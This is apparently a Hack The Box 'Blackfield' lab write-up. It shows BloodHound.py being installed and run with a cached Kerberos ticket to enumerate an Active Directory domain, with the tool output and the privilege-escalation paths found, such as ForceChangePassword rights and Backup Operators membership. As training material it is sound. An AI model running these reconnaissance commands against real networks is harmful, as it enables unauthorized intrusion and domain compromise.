BloodHound
BloodHound is a powerful tool used by adversaries to visualize and analyze Active Directory relationships, allowing them to quickly identify and exploit potential attack paths and privilege escalation opportunities within a network. It automates the reconnaissance phase of an attack, helping attackers pinpoint weak points and ultimately compromise Active Directory environments.
Ingestion
Due to multiple installations of Python BloodHound ingestor, I will be setting one up in a virtual environment
┌──(kali㉿kali)-[~/…/htb/labs/blackfield/bloodhound]
└─$ python3 -m venv . ; source ./bin/activate
Setting up a virtual environment
┌──(bloodhound)─(kali㉿kali)-[~/…/htb/labs/blackfield/bloodhound]
└─$ git clone https://github.com/dirkjanm/BloodHound.py ; pip3 install -e ./BloodHound.py
Installing BloodHound.py
┌──(bloodhound)─(kali㉿kali)-[~/…/htb/labs/blackfield/bloodhound]
└─$ KRB5CCNAME=../support@dc01.blackfield.local.ccache BloodHound.py/bloodhound.py -d BLACKFIELD.LOCAL -u support -k -no-pass --auth-method kerberos -ns $IP -dc dc01.blackfield.local --zip -c ALL
Password:
INFO: Found AD domain: blackfield.local
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 18 computers
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 316 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer: DC01.BLACKFIELD.local
INFO: Done in 00M 05S
INFO: Compressing output into 20231221111928_bloodhound.zip
For some reason, it still prompts for password, which I ignored
Using the TGT of the support
account, the entire domain data can be ingested through bloodhound-python
Prep
┌──(kali㉿kali)-[~/…/htb/labs/blackfield/bloodhound]
└─$ sudo neo4j console
directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /usr/share/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /usr/share/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses: /usr/share/neo4j/licenses
run: /usr/share/neo4j/run
Starting Neo4j.
┌──(kali㉿kali)-[~/…/htb/labs/blackfield/bloodhound]
└─$ bloodhound
Firing up neo4j and bloodhound
Upload complete
Kerberoast-able Accounts
Interestingly,
krbtgt
is the only kerberoast-able account according to bloodhound
This is rather contradictory to the Kerberoasting attempt made earlier
support
the
support
user has the forcechangepassword privilege over the audit2020
account
svc_backup
With a membership to the
Remote Management Users
group, the svc_backup
account is able to WinRM to the DC host; dc01.blackfield.local
Additionally, the
svc_backup
account has a membership to the Backup Operators
group, which is a privileged group